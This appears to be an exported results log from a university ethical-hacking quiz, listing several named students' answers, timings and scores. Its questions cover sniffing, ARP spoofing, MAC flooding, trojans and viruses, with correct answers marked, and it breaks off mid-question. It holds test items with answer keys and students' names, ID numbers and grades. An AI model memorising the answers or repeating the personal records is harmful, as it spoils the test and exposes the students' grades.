+	3	ICMP Tunneling
	4	Destructive Trojan

12 S	5.000	281473913980698	13:39:37	13:40:33	00:56	55.86

C:\> .....
Active Connections
Proto Local Address Foreign Address State
TCP 0.0.0.0:135 0.0.0.0:0 LISTENING
TCP 0.0.0.0:445 0.0.0.0:0 LISTENING
TCP 0.0.0.0:2385 0.0.0.0:0 LISTENING
TCP 0.0.0.0:3389 0.0.0.0:0 LISTENING
TCP 127.0.0.1:1026 0.0.0.0:0 LISTENING
TCP 127.0.0.1:5152 0.0.0.0:0 LISTENING
TCP 192.168.12.202:139 0.0.0.0:0 LISTENING
UDP 0.0.0.0:445 *:*
UDP 0.0.0.0:500 *:*
UDP 0.0.0.0:4500 *:*
UDP 127.0.0.1:123 *:*
UDP 127.0.0.1:1025 *:*
UDP 127.0.0.1:1900 *:*
UDP 192.168.12.202:123 *:*
UDP 192.168.12.202:137 *:*
UDP 192.168.12.202:138 *:*
UDP 192.168.12.202:1900 *:*

	1	route print
	2	ipconfig -a
	3	ifconfig -s
+	4	netstat -an

13 S	5.000	281473913980698	13:40:33	13:41:32	00:59	59.126

Harold is the senior security analyst for a small state agency in New York. He has no other security professionals that work under him, so he has to do all the security-related tasks for the agency. Coming from a computer hardware background, Harold does not have a lot of experience with security methodologies and technologies, but he was the only one who applied for the position.

Harold is currently trying to run a Sniffer on the agency's network to get an idea of what kind of traffic is being passed around but the program he is using does not seem to be capturing anything. He pours through the sniffer's manual but can't find anything that directly relates to his problem. Harold decides to ask the network administrator if the has any thoughts on the problem. Harold is told that the sniffer was not working because the agency's network is a switched network, which can't be sniffed by some programs without some tweaking.

What technique could Harold use to sniff agency's switched network?

	1	Flood switch with ICMP packets
	2	Conduct MiTM against the switch
	3	Launch smurf attack against the switch
+	4	ARP spoof the default gateway

14 S	5.000	281473913980698	13:41:32	13:42:24	00:52	51.6

Which method is the most difficult to detect ?

	1	Active sniffing
	2	Silent sniffing
+	3	Passive sniffing
	4	Agressive sniffing

15 S	5.000	281473913980698	13:43:06	13:43:25	00:19	18.45

Wireshark is a famous packet sniffer available on a variety of platforms. In order to use this tool on the Windows Platform you must install a packet capture library.

What is the name of this library?

	1	PCAP
+	2	WinPCAP
	3	LibPCAP
	4	NTPCAP

16 S	0.000	281473913980698	13:43:25	13:44:11	00:46	45.59

Steven is a senior security analyst for a state agency in Tulsa, Oklahoma. His agency is currently undergoing a mandated security audit by an outside consulting firm. The consulting firm is halfway through the audit and is preparing to perform the actual penetration testing against the agency's network. The firm first sets up a sniffer on the agency's wired network to capture a reasonable amount of traffic to analyze later. This takes approximately 2 hours to obtain 10 GB of data.

The consulting firm then sets up a sniffer on the agency's wireless network to capture the same amount of traffic. This capture only takes about 30 minutes to get 10 GB of data.

Why did capturing of traffic take much less time on the wireless network?

	1	Because all traffic is clear text, even when encrypted
-	2	Because wireless traffic uses only UDP which is easier to sniff
	3	Because wireless networks can't enable encryption
	4	Because wireless access points act like hubs on a network

17 S	5.000	281473913980698	13:44:11	13:44:48	00:37	37.21

Trojans are used primarily to Gain and ... on the target system.

	1	Defend
	2	Destroy
+	3	Retain access
	4	Obtain

18 S	5.000	281473913980698	13:44:48	13:45:01	00:13	13.128

Sniffing that conducted through a switch can be categorized as ...

+	1	Active sniffing
	2	Agressive sniffing
	3	Passive sniffing
	4	Silent sniffing

19 S	5.000	281473913980698	13:45:01	13:45:55	00:54	53.837

... trojan starts a hidden proxy server on the victim's computer.

	1	Destructive
+	2	Proxy server
	3	FTP
	4	Remote Access

20 S	0.000	281473913980698	13:45:55	13:46:58	01:03	63.046

What is sniffing ?

-	1	Hacking Method
	2	Cracking Method
	3	Password Generator
	4	Data Interception Technology

School name
first row
second row
third row

test: Kuis-01 EH2-B (Reg Genap 2016-2017)

surname:	1472029
name:	ANDREE JANUAR SUMADI JAP,S.E.
user:	1472029
start time:	2017-02-03 13:30:30
end time:	2017-02-03 13:55:46
time:	00:25:16
points to pass the exam:	70.000
correct:	(0%)
wrong:	(0%)
unanswered:	(0%)
undisplayed:	(0%)
points:	**90.000 / 100.000 (90%) - PASSED**

Kuis-01 EH2-B (Reg Genap 2016-2017)

#	points	IP	start [hh:mm:ss]	end [hh:mm:ss]	time [mm:ss]	reaction [sec]
1 S	5.000	281473913980685	13:30:30	13:36:23	05:53	352.851

Which method is the most difficult to detect ?

	1	Silent sniffing
+	2	Passive sniffing
	3	Active sniffing
	4	Agressive sniffing

2 S	5.000	281473913980685	13:36:23	13:36:32	00:09	9.039

... combines two programs into single file, usually used to hide trojan.

	1	A firewall
	2	An attacker
	3	A router
+	4	A wrapper

3 S	5.000	281473913980685	13:36:32	13:36:51	00:19	19.307

In most trojans infection cases, it is the absent-minded user who invites trouble by downloading files or being ... about security aspect.

	1	Good
	2	Aware
	3	Careful
+	4	Careless

4 S	5.000	281473913980685	13:36:51	13:38:24	01:33	92.719

... is a method of using ICMP as a carrier of any payload an attacker may wish to use.

	1	Proxy Server
	2	Destructive Trojan
+	3	ICMP Tunneling
	4	Over Channel

5 S	5.000	281473913980685	13:38:24	13:41:48	03:24	204.331

You receive an e-mail with the following text message. "Microsoft and AOL today warned all customers that a new, highly dangerous virus has been discovered which will erase all your files at midnight. If there's a file called hidserv.exe on your computer, you have been infected and your computer is now running a hidden server that allows hackers to access your computer.
Delete the file immediately. Please also pass this message to all your friends and colleagues as soon as possible."
You launch your antivirus software and scan the suspicious looking file hidserv.exe located in c:\windows directory and the AV comes out clean meaning the file is not infected.
You view the file signature and confirm that it is a legitimate Windows system file "Human Interface Device Service".

What category of virus is this?

	1	Stealth Virus
+	2	Virus hoax
	3	Polymorphic Virus
	4	Spooky Virus

6 S	5.000	281473913980685	13:41:48	13:43:05	01:17	76.424

ARP is the name of a protocol that convert an ... to MAC Address.

+	1	IP Address
	2	Web Address
	3	MCA Address
	4	Domain Address

7 S	0.000	281473913980685	13:43:05	13:46:50	03:45	225.236

Virus writers can have various reasons for creating and spreading malware.
Viruses have been written as ...

-	1	Firmware
	2	Cryptographic
	3	Research projects

	4	Spoofing

8 S	5.000		281473913980685	13:46:50	13:47:59	01:09	69.333
... is a channel that transfers information within a computer system, or network, in a way that violates security policy.							
	1	Backdoor Channel					
+	2	Covert Channel					
	3	Overt Channel					
	4	Trojan Channel					

9 S	5.000		281473913980685	13:47:59	13:48:59	01:00	59.113
Sniffing that conducted through a switch can be categorized as ...							
	1	Silent sniffing					
	2	Agressive sniffing					
+	3	Active sniffing					
	4	Passive sniffing					

10 S	5.000		281473913980685	13:48:59	13:49:36	00:37	37.649
... trojan will destroys operating system when executed.							
+	1	Destructive					
	2	Data-Sending					
	3	DoS Attack					
	4	Remote access					

11 S	5.000		281473913980685	13:49:36	13:49:54	00:18	17.463
Which protocol is not susceptible to sniffer?							
+	1	https					
	2	http					
	3	pop3					
	4	telnet					

12 S	5.000		281473913980685	13:49:54	13:50:06	00:12	12.496
MAC flooding is method that force a ... to act or work as a hub.							
+	1	Switch					
	2	Router					
	3	Hub					
	4	Access Point					

13 S	5.000		281473913980685	13:50:06	13:51:06	01:00	59.868
Steven is a senior security analyst for a state agency in Tulsa, Oklahoma. His agency is currently undergoing a mandated security audit by an outside consulting firm. The consulting firm is halfway through the audit and is preparing to perform the actual penetration testing against the agency's network. The firm first sets up a sniffer on the agency's wired network to capture a reasonable amount of traffic to analyze later. This takes approximately 2 hours to obtain 10 GB of data. The consulting firm then sets up a sniffer on the agency's wireless network to capture the same amount of traffic. This capture only takes about 30 minutes to get 10 GB of data. Why did capturing of traffic take much less time on the wireless network?							
	1	Because wireless traffic uses only UDP which is easier to sniff					
	2	Because wireless networks can't enable encryption					
+	3	Because wireless access points act like hubs on a network					
	4	Because all traffic is clear text, even when encrypted					

14 S	5.000		281473913980685	13:51:06	13:51:11	00:05	4.617
Sniffing that conducted through a hub can be categorized as ...							
	1	Active sniffing					
	2	Silent sniffing					
+	3	Passive sniffing					
	4	Agressive sniffing					

15 S	5.000		281473913980685	13:51:11	13:52:03	00:52	51.642
... is a technique for active sniffing.							
	1	Broadcast flooding					
	2	MAC sniffing					
	3	IP spoofing					
+	4	ARP spoofing					

16 S	5.000		281473913980685	13:52:03	13:53:36	01:33	92.675
June, a security analyst, understands that a polymorphic virus has the ability to mutate and can change its known viral signature and hide from signature-based antivirus programs. Can June use an antivirus program in this case and would it be effective against a polymorphic virus?							
	1	No. June can't use an antivirus program since it compares the size of executable files to the database of known viral signatures and it is effective on a polymorphic virus					

	2	Yes. June can use an antivirus program since it compares the parity bit of executable files to the database of known check sum counts and it is effective on a polymorphic virus
	3	Yes. June can use an antivirus program since it compares the signatures of executable files to the database of known viral signatures and it is very effective against a polymorphic virus
+	4	No. June can't use an antivirus program since it compares the signatures of executable files to the database of known viral signatures and in the case the polymorphic viruses cannot be detected by a signature-based anti-virus program

17 S	5.000	281473913980685	13:53:36	13:53:55	00:19	19.406

C:\> .....
Active Connections
Proto Local Address Foreign Address State
TCP 0.0.0.0:135 0.0.0.0:0 LISTENING
TCP 0.0.0.0:445 0.0.0.0:0 LISTENING
TCP 0.0.0.0:2385 0.0.0.0:0 LISTENING
TCP 0.0.0.0:3389 0.0.0.0:0 LISTENING
TCP 127.0.0.1:1026 0.0.0.0:0 LISTENING
TCP 127.0.0.1:5152 0.0.0.0:0 LISTENING
TCP 192.168.12.202:139 0.0.0.0:0 LISTENING
UDP 0.0.0.0:445 *:*
UDP 0.0.0.0:500 *:*
UDP 0.0.0.0:4500 *:*
UDP 127.0.0.1:123 *:*
UDP 127.0.0.1:1025 *:*
UDP 127.0.0.1:1900 *:*
UDP 192.168.12.202:123 *:*
UDP 192.168.12.202:137 *:*
UDP 192.168.12.202:138 *:*
UDP 192.168.12.202:1900 *:*

	1	ipconfig -a
	2	ifconfig -s
+	3	netstat -an
	4	route print

18 S	5.000	281473913980685	13:53:55	13:54:11	00:16	15.535

... are distinguished from viruses by the fact that a virus requires some form of the human intervention to infect a computer, whereas it doesn't.

	1	Pranks
	2	Hoax
	3	Trojan
+	4	Worms

19 S	0.000	281473913980685	13:54:11	13:55:11	01:00	60.561

Harold is the senior security analyst for a small state agency in New York. He has no other security professionals that work under him, so he has to do all the security-related tasks for the agency. Coming from a computer hardware background, Harold does not have a lot of experience with security methodologies and technologies, but he was the only one who applied for the position.

Harold is currently trying to run a Sniffer on the agency's network to get an idea of what kind of traffic is being passed around but the program he is using does not seem to be capturing anything. He pours through the sniffer's manual but can't find anything that directly relates to his problem. Harold decides to ask the network administrator if the has any thoughts on the problem. Harold is told that the sniffer was not working because the agency's network is a switched network, which can't be sniffed by some programs without some tweaking.

What technique could Harold use to sniff agency's switched network?

	1	Conduct MiTM against the switch
-	2	Flood switch with ICMP packets
	3	ARP spoof the default gateway
	4	Launch smurf attack against the switch

20 S	5.000	281473913980685	13:55:11	13:55:46	00:35	35.032

What is sniffer?

	1	A server that send continuous packet to a victim
+	2	A program or device that captures the information from the network traffic
	3	A computer that distributes fake MAC address
	4	Person who hack the network

School name
first row
second row
third row

test: Kuis-01 EH2-B (Reg Genap 2016-2017)

surname:	1472046
name:	SEPTIAN
user:	1472046
start time:	2017-02-03 13:30:32
end time:	2017-02-03 13:58:22
time:	00:27:50
points to pass the exam:	70.000
correct:	(0%)
wrong:	(0%)
unanswered:	(0%)
undisplayed:	(0%)
points:	**80.000 / 100.000 (80%) - PASSED**

Kuis-01 EH2-B (Reg Genap 2016-2017)

#	points	IP	start [hh:mm:ss]	end [hh:mm:ss]	time [mm:ss]	reaction [sec]

1 S	5.000		281473913980686	13:30:32	13:34:14	03:42	222.453
... combines two programs into single file, usually used to hide trojan.							
+	1	A wrapper					
	2	A router					
	3	An attacker					
	4	A firewall					

2 S	5.000		281473913980686	13:34:14	13:37:03	02:49	168.216
You suspect that your Windows machine has been compromised with a Trojan virus. When you run anti-virus software it does not pick of the Trojan. Next you run netstat command to look for open ports and you notice a strange port 6666 open. What is the next step you would do?							
	1	Re-install the operating system.					
+	2	Run utility CurrPorts and look for the application executable that listens on port 6666.					
	3	Re-run anti-virus software.					
	4	Install and run Trojan removal software.					

3 S	5.000		281473913980686	13:37:03	13:37:43	00:40	40.138
Sniffing that conducted through a hub can be categorized as ...							
	1	Agressive sniffing					
	2	Silent sniffing					
	3	Active sniffing					
+	4	Passive sniffing					

4 S	5.000		281473913980686	13:37:43	13:39:28	01:45	104.968
... are distinguished from viruses by the fact that a virus requires some form of the human intervention to infect a computer, whereas it doesn't.							
	1	Trojan					
	2	Hoax					
+	3	Worms					
	4	Pranks					

5 S	5.000		281473913980686	13:39:28	13:39:34	00:06	5.951
MAC flooding is method that force a ... to act or work as a hub.							
	1	Router					
	2	Hub					
+	3	Switch					
	4	Access Point					

6 S	5.000		281473913980686	13:39:34	13:40:00	00:26	25.77
... trojan starts a hidden proxy server on the victim's computer.							
	1	Remote Access					
+	2	Proxy server					
	3	FTP					
	4	Destructive					

7 S	0.000		281473913980686	13:40:00	13:44:56	04:56	296.167
Steven is a senior security analyst for a state agency in Tulsa, Oklahoma. His agency is currently undergoing a mandated security audit by an outside consulting firm. The consulting firm is halfway through the audit and is preparing to perform the actual penetration testing against the agency's network. The firm first sets up a sniffer on the agency's wired network to capture a reasonable amount of traffic to analyze later. This takes approximately 2 hours to obtain 10 GB of data. The consulting firm then sets up a sniffer on the agency's wireless network to capture the same amount of traffic. This capture only takes about 30 minutes to get 10 GB of data. Why did capturing of traffic take much less time on the wireless network?							
-	1	Because all traffic is clear text, even when encrypted					

	2	Because wireless access points act like hubs on a network
	3	Because wireless networks can't enable encryption
	4	Because wireless traffic uses only UDP which is easier to sniff

8 S	5.000	281473913980686	13:44:56	13:46:21	01:25	85.422

... is a method of using ICMP as a carrier of any payload an attacker may wish to use.

	1	Over Channel
	2	Proxy Server
	3	Destructive Trojan
+	4	ICMP Tunneling

9 S	5.000	281473913980686	13:46:21	13:46:57	00:36	35.618

What is sniffer?

+	1	A program or device that captures the information from the network traffic
	2	A server that send continuous packet to a victim
	3	Person who hack the network
	4	A computer that distributes fake MAC address

10 S	0.000	281473913980686	13:46:57	13:49:47	02:50	169.923

... trojan will destroys operating system when executed.

	1	DoS Attack
	2	Destructive
	3	Data-Sending
-	4	Remote access

11 S	5.000	281473913980686	13:49:47	13:50:23	00:36	36.351

.. are malicious pieces of code that carry cracker software to a target system.

	1	Antivirus
	2	Firewall
	3	Overt
+	4	Trojans

12 S	5.000	281473913980686	13:50:23	13:50:35	00:12	11.528

Sniffing that conducted through a switch can be categorized as ...

+	1	Active sniffing
	2	Passive sniffing
	3	Silent sniffing
	4	Agressive sniffing

13 S	0.000	281473913980686	13:50:35	13:52:05	01:30	90.238

ARP is the name of a protocol that convert an ... to MAC Address.

	1	Domain Address
-	2	MCA Address
	3	Web Address
	4	IP Address

14 S	5.000	281473913980686	13:52:05	13:52:54	00:49	49.103

Which method is the most difficult to detect ?

	1	Silent sniffing
	2	Agressive sniffing
+	3	Passive sniffing
	4	Active sniffing

15 S	0.000	281473913980686	13:52:54	13:54:34	01:40	99.765

Virus writers can have various reasons for creating and spreading malware.
Viruses have been written as ...

	1	Research projects
	2	Firmware
	3	Spoofing
-	4	Cryptographic

16 S	5.000	281473913980686	13:54:34	13:55:36	01:02	61.574

Which protocol is not susceptible to sniffer?

	1	pop3
+	2	https
	3	http
	4	telnet

17 S	5.000	281473913980686	13:55:36	13:56:10	00:34	34.168

Most viruses operate in two phases, Infection Phase and ...

	1	Local Phase
+	2	Attack Phase

	3	Breeding Phase
	4	Defend Phase

18 S	5.000	281473913980686	13:56:10	13:56:34	00:24	23.478

Wireshark is a famous packet sniffer available on a variety of platforms. In order to use this tool on the Windows Platform you must install a packet capture library.

What is the name of this library?

	1	PCAP
	2	NTPCAP
	3	LibPCAP
+	4	WinPCAP

19 S	5.000	281473913980686	13:56:34	13:57:35	01:01	61.591

In most trojans infection cases, it is the absent-minded user who invites trouble by downloading files or being ... about security aspect.

+	1	Careless
	2	Aware
	3	Careful
	4	Good

20 S	5.000	281473913980686	13:57:35	13:58:22	00:47	46.959

... is a technique for active sniffing.

	1	IP spoofing
+	2	ARP spoofing
	3	MAC sniffing
	4	Broadcast flooding

School name
first row
second row
third row

test: Kuis-01 EH2-B (Reg Genap 2016-2017)

surname:	1472063
name:	ARIF SURYAWIJAYA
user:	1472063
start time:	2017-02-03 13:30:28
end time:	2017-02-03 14:00:46
time:	00:30:18
points to pass the exam:	70.000
correct:	(0%)
wrong:	(0%)
unanswered:	(0%)
undisplayed:	(0%)
points:	**70.000 / 100.000 (70%) - PASSED**

Kuis-01 EH2-B (Reg Genap 2016-2017)

#	points	IP	start [hh:mm:ss]	end [hh:mm:ss]	time [mm:ss]	reaction [sec]
1 S	0.000	281473913980701	13:30:28	14:00:46	30:18	22.296

Trojans are used primarily to Gain and ... on the target system.

	1	Defend
	2	Retain access
-	3	Obtain
	4	Destroy

2 S	0.000	281473913980701	13:32:50	13:35:32	02:42	162.323

... are distinguished from viruses by the fact that a virus requires some form of the human intervention to infect a computer, whereas it doesn't.

-	1	Trojan
	2	Hoax
	3	Worms
	4	Pranks

3 S	5.000	281473913980701	13:35:32	13:35:52	00:20	19.369

... combines two programs into single file, usually used to hide trojan.

	1	A firewall
	2	An attacker
	3	A router
+	4	A wrapper

4 S	5.000	281473913980701	13:35:52	13:36:47	00:55	55.523

MAC flooding is method that force a ... to act or work as a hub.

	1	Hub
+	2	Switch
	3	Router
	4	Access Point

5 S	5.000	281473913980701	13:36:47	13:37:41	00:54	53.86

Which method is the most difficult to detect ?

	1	Silent sniffing
+	2	Passive sniffing
	3	Agressive sniffing
	4	Active sniffing

6 S	5.000	281473913980701	13:37:41	13:40:47	03:06	185.355

... is a technique for active sniffing.

	1	Broadcast flooding
	2	MAC sniffing
	3	IP spoofing
+	4	ARP spoofing

7 S	0.000	281473913980701	13:40:47	14:00:18	19:31	67.351

June, a security analyst, understands that a polymorphic virus has the ability to mutate and can change its known viral signature and hide from signature-based antivirus programs.

Can June use an antivirus program in this case and would it be effective against a polymorphic virus?

	1	No. June can't use an antivirus program since it compares the signatures of executable files to the database of known viral signatures and in the case the polymorphic viruses cannot be detected by a signature-based anti-virus program
-	2	Yes. June can use an antivirus program since it compares the signatures of executable files to the database of known viral signatures and it is very effective against a polymorphic virus
	3	No. June can't use an antivirus program since it compares the size of executable files to the database of known viral signatures and it is effective on a polymorphic virus
	4	Yes. June can use an antivirus program since it compares the parity bit of executable files to the database of known check sum counts and it is effective on a polymorphic virus

8 S	5.000	281473913980701	13:41:04	13:42:09	01:05	65.094

You suspect that your Windows machine has been compromised with a Trojan virus. When you run anti-virus software it does not pick of the Trojan. Next you run netstat command to look for open ports and you notice a strange port 6666 open.

What is the next step you would do?

	1	Install and run Trojan removal software.
	2	Re-install the operating system.
+	3	Run utility CurrPorts and look for the application executable that listens on port 6666.
	4	Re-run anti-virus software.

9 S	5.000	281473913980701	13:42:09	13:42:36	00:27	26.944

Sniffing that conducted through a hub can be categorized as ...

	1	Active sniffing
+	2	Passive sniffing
	3	Agressive sniffing
	4	Silent sniffing

10 S	5.000	281473913980701	13:42:36	13:43:32	00:56	55.238

C:\> .....
Active Connections
Proto Local Address Foreign Address State
TCP 0.0.0.0:135 0.0.0.0:0 LISTENING
TCP 0.0.0.0:445 0.0.0.0:0 LISTENING
TCP 0.0.0.0:2385 0.0.0.0:0 LISTENING
TCP 0.0.0.0:3389 0.0.0.0:0 LISTENING
TCP 127.0.0.1:1026 0.0.0.0:0 LISTENING
TCP 127.0.0.1:5152 0.0.0.0:0 LISTENING
TCP 192.168.12.202:139 0.0.0.0:0 LISTENING
UDP 0.0.0.0:445 *:*
UDP 0.0.0.0:500 *:*
UDP 0.0.0.0:4500 *:*
UDP 127.0.0.1:123 *:*
UDP 127.0.0.1:1025 *:*
UDP 127.0.0.1:1900 *:*
UDP 192.168.12.202:123 *:*
UDP 192.168.12.202:137 *:*
UDP 192.168.12.202:138 *:*
UDP 192.168.12.202:1900 *:*

+	1	netstat -an
	2	route print
	3	ipconfig -a
	4	ifconfig -s

11 S	0.000	281473913980701	13:43:32	13:44:58	01:26	86.341

What is sniffer?

-	1	Person who hack the network
	2	A program or device that captures the information from the network traffic
	3	A server that send continuous packet to a victim
	4	A computer that distributes fake MAC address

12 S	5.000	281473913980701	13:44:58	13:46:58	02:00	115.445

What is sniffing ?

+	1	Data Interception Technology
	2	Password Generator
	3	Cracking Method
	4	Hacking Method

13 S	5.000	281473913980701	13:46:58	13:48:31	01:33	93.123

Wireshark is a famous packet sniffer available on a variety of platforms. In order to use this tool on the Windows Platform you must install a packet capture library.

What is the name of this library?

	1	PCAP
	2	NTPCAP
	3	LibPCAP
+	4	WinPCAP

14 S	5.000	281473913980701	13:48:31	13:49:33	01:02	17.49

Which protocol is not susceptible to sniffer?

+	1	https
	2	telnet
	3	pop3
	4	http

15 S	5.000	281473913980701	13:49:13	13:50:54	01:41	80.86

Harold is the senior security analyst for a small state agency in New York. He has no other security professionals that work under him, so he has to do all the security-related tasks for the agency. Coming from a computer hardware background, Harold does not have a lot of experience with security methodologies and technologies, but he was the only one who applied for the position.

Harold is currently trying to run a Sniffer on the agency's network to get an idea of what kind of traffic is being passed around but the program he is using does not seem to be capturing anything. He pours through the sniffer's manual but can't find anything that directly relates to his problem. Harold decides to ask the network administrator if the has any thoughts on the problem. Harold is told that the sniffer was not working because the agency's network is a switched network, which can't be sniffed by some programs without some tweaking.

What technique could Harold use to sniff agency's switched network?

+	1	ARP spoof the default gateway
	2	Launch smurf attack against the switch
	3	Conduct MiTM against the switch
	4	Flood switch with ICMP packets

16 S	0.000	281473913980701	13:50:54	13:52:49	01:55	115.028

Virus writers can have various reasons for creating and spreading malware.
Viruses have been written as ...

-	1	Spoofing
	2	Firmware
	3	Cryptographic
	4	Research projects

17 S	5.000	281473913980701	13:52:49	13:53:06	00:17	16.88

Sniffing that conducted through a switch can be categorized as ...

+	1	Active sniffing
	2	Silent sniffing
	3	Agressive sniffing
	4	Passive sniffing

18 S	5.000	281473913980701	13:53:06	13:54:37	01:31	90.833

... is a method of using ICMP as a carrier of any payload an attacker may wish to use.

	1	Over Channel
	2	Destructive Trojan
+	3	ICMP Tunneling
	4	Proxy Server

19 S	0.000	281473913980701	13:54:37	13:55:57	01:20	79.882

In most trojans infection cases, it is the absent-minded user who invites trouble by downloading files or being ... about security aspect.

	1	Careless
-	2	Aware
	3	Good
	4	Careful

20 S	5.000	281473913980701	13:55:57	13:56:43	00:46	45.934

... trojan starts a hidden proxy server on the victim's computer.

	1	Destructive
	2	Remote Access
+	3	Proxy server
	4	FTP

School name
first row
second row
third row

test: Kuis-01 EH2-B (Reg Genap 2016-2017)

surname:	1472044
name:	M RIZKI PUTRA UTAMA
user:	1472044
start time:	2017-02-03 13:30:26
end time:	2017-02-03 13:57:12
time:	00:26:46
points to pass the exam:	70.000
correct:	(0%)
wrong:	(0%)
unanswered:	(0%)
undisplayed:	(0%)
points:	**60.000 / 100.000 (60%) - NOT PASSED**

Kuis-01 EH2-B (Reg Genap 2016-2017)

#	points	IP	start [hh:mm:ss]	end [hh:mm:ss]	time [mm:ss]	reaction [sec]

1 S	0.000	281473913980676	13:30:26	13:57:12	26:46	83.554

Steven is a senior security analyst for a state agency in Tulsa, Oklahoma. His agency is currently undergoing a mandated security audit by an outside consulting firm. The consulting firm is halfway through the audit and is preparing to perform the actual penetration testing against the agency's network. The firm first sets up a sniffer on the agency's wired network to capture a reasonable amount of traffic to analyze later. This takes approximately 2 hours to obtain 10 GB of data.

The consulting firm then sets up a sniffer on the agency's wireless network to capture the same amount of traffic. This capture only takes about 30 minutes to get 10 GB of data.

Why did capturing of traffic take much less time on the wireless network?

	1	Because wireless access points act like hubs on a network
	2	Because all traffic is clear text, even when encrypted
	3	Because wireless networks can't enable encryption
-	4	Because wireless traffic uses only UDP which is easier to sniff

2 S	0.000	281473913980676	13:30:39	13:55:48	25:09	47.835

Harold is the senior security analyst for a small state agency in New York. He has no other security professionals that work under him, so he has to do all the security-related tasks for the agency. Coming from a computer hardware background, Harold does not have a lot of experience with security methodologies and technologies, but he was the only one who applied for the position.

Harold is currently trying to run a Sniffer on the agency's network to get an idea of what kind of traffic is being passed around but the program he is using does not seem to be capturing anything. He pours through the sniffer's manual but can't find anything that directly relates to his problem. Harold decides to ask the network administrator if the has any thoughts on the problem. Harold is told that the sniffer was not working because the agency's network is a switched network, which can't be sniffed by some programs without some tweaking.

What technique could Harold use to sniff agency's switched network?

	1	Conduct MiTM against the switch
	2	Launch smurf attack against the switch
-	3	Flood switch with ICMP packets
	4	ARP spoof the default gateway

3 S	0.000	281473913980676	13:30:43	13:34:10	03:27	206.646

Sniffing that conducted through a hub can be categorized as ...

	1	Silent sniffing
	2	Agressive sniffing
-	3	Active sniffing
	4	Passive sniffing

4 S	5.000	281473913980676	13:34:10	13:36:32	02:22	142.577

In most trojans infection cases, it is the absent-minded user who invites trouble by downloading files or being ... about security aspect.

	1	Aware
	2	Good
	3	Careful
+	4	Careless

5 S	0.000	281473913980676	13:36:32	13:54:58	18:26	28.667

You receive an e-mail with the following text message. "Microsoft and AOL today warned all customers that a new, highly dangerous virus has been discovered which will erase all your files at midnight. If there's a file called hidserv.exe on your computer, you have been infected and your computer is now running a hidden server that allows hackers to access your computer.
Delete the file immediately. Please also pass this message to all your friends and colleagues as soon as possible."
You launch your antivirus software and scan the suspicious looking file hidserv.exe located in c:\windows directory and the AV comes out clean meaning the file is not infected.
You view the file signature and confirm that it is a legitimate Windows system file "Human Interface Device Service".

What category of virus is this?

-	1	Stealth Virus
	2	Spooky Virus

	3	Virus hoax
	4	Polymorphic Virus

6 S	5.000	281473913980676	13:36:42	13:37:28	00:46	46.544

MAC flooding is method that force a ... to act or work as a hub.

	1	Access Point
	2	Router
	3	Hub
+	4	Switch

7 S	0.000	281473913980676	13:37:28	13:54:22	16:54	62.077

June, a security analyst, understands that a polymorphic virus has the ability to mutate and can change its known viral signature and hide from signature-based antivirus programs.

Can June use an antivirus program in this case and would it be effective against a polymorphic virus?

-	1	Yes. June can use an antivirus program since it compares the parity bit of executable files to the database of known check sum counts and it is effective on a polymorphic virus
	2	No. June can't use an antivirus program since it compares the size of executable files to the database of known viral signatures and it is effective on a polymorphic virus
	3	Yes. June can use an antivirus program since it compares the signatures of executable files to the database of known viral signatures and it is very effective against a polymorphic virus
	4	No. June can't use an antivirus program since it compares the signatures of executable files to the database of known viral signatures and in the case the polymorphic viruses cannot be detected by a signature-based anti-virus program

8 S	5.000	281473913980676	13:37:32	13:38:41	01:09	69.514

What is sniffing ?

	1	Password Generator
	2	Cracking Method
+	3	Data Interception Technology
	4	Hacking Method

9 S	5.000	281473913980676	13:38:41	13:39:50	01:09	68.478

C:\> .....
Active Connections
Proto Local Address Foreign Address State
TCP 0.0.0.0:135 0.0.0.0:0 LISTENING
TCP 0.0.0.0:445 0.0.0.0:0 LISTENING
TCP 0.0.0.0:2385 0.0.0.0:0 LISTENING
TCP 0.0.0.0:3389 0.0.0.0:0 LISTENING
TCP 127.0.0.1:1026 0.0.0.0:0 LISTENING
TCP 127.0.0.1:5152 0.0.0.0:0 LISTENING
TCP 192.168.12.202:139 0.0.0.0:0 LISTENING
UDP 0.0.0.0:445 *:*
UDP 0.0.0.0:500 *:*
UDP 0.0.0.0:4500 *:*
UDP 127.0.0.1:123 *:*
UDP 127.0.0.1:1025 *:*
UDP 127.0.0.1:1900 *:*
UDP 192.168.12.202:123 *:*
UDP 192.168.12.202:137 *:*
UDP 192.168.12.202:138 *:*
UDP 192.168.12.202:1900 *:*

	1	ifconfig -s
	2	route print
	3	ipconfig -a
+	4	netstat -an

10 S	0.000	281473913980676	13:39:50	13:41:12	01:22	82.385

... combines two programs into single file, usually used to hide trojan.

	1	An attacker
-	2	A firewall
	3	A wrapper
	4	A router

11 S	5.000	281473913980676	13:41:12	13:42:03	00:51	50.288

... trojan starts a hidden proxy server on the victim's computer.

+	1	Proxy server
	2	FTP
	3	Destructive
	4	Remote Access

12 S	5.000	281473913980676	13:42:03	13:44:47	02:44	163.71

Which method is the most difficult to detect ?

	1	Silent sniffing

+	2	Passive sniffing
	3	Agressive sniffing
	4	Active sniffing

13 S	0.000	281473913980676	13:44:47	13:53:12	08:25	10.74

Wireshark is a famous packet sniffer available on a variety of platforms. In order to use this tool on the Windows Platform you must install a packet capture library.

What is the name of this library?

	1	PCAP
-	2	LibPCAP
	3	NTPCAP
	4	WinPCAP

14 S	5.000	281473913980676	13:44:47	13:53:01	08:14	12.418

Sniffing that conducted through a switch can be categorized as ...

	1	Silent sniffing
	2	Passive sniffing
+	3	Active sniffing
	4	Agressive sniffing

15 S	5.000	281473913980676	13:44:49	13:52:49	08:00	61.375

Trojans are used primarily to Gain and ... on the target system.

	1	Defend
+	2	Retain access
	3	Destroy
	4	Obtain

16 S	5.000	281473913980676	13:44:49	13:51:47	06:58	52.493

... is a technique for active sniffing.

	1	IP spoofing
	2	MAC sniffing
+	3	ARP spoofing
	4	Broadcast flooding

17 S	0.000	281473913980676	13:44:50	13:50:55	06:05	75.227

.. are malicious pieces of code that carry cracker software to a target system.

	1	Antivirus
-	2	Overt
	3	Trojans
	4	Firewall

18 S	5.000	281473913980676	13:44:50	13:49:40	04:50	78.943

... is a method of using ICMP as a carrier of any payload an attacker may wish to use.

	1	Destructive Trojan
+	2	ICMP Tunneling
	3	Over Channel
	4	Proxy Server

19 S	5.000	281473913980676	13:44:51	13:48:21	03:30	148.184

... trojan will destroys operating system when executed.

+	1	Destructive
	2	Remote access
	3	DoS Attack
	4	Data-Sending

20 S	5.000	281473913980676	13:44:51	13:45:52	01:01	61.29

ARP is the name of a protocol that convert an ... to MAC Address.

	1	Domain Address
	2	Web Address
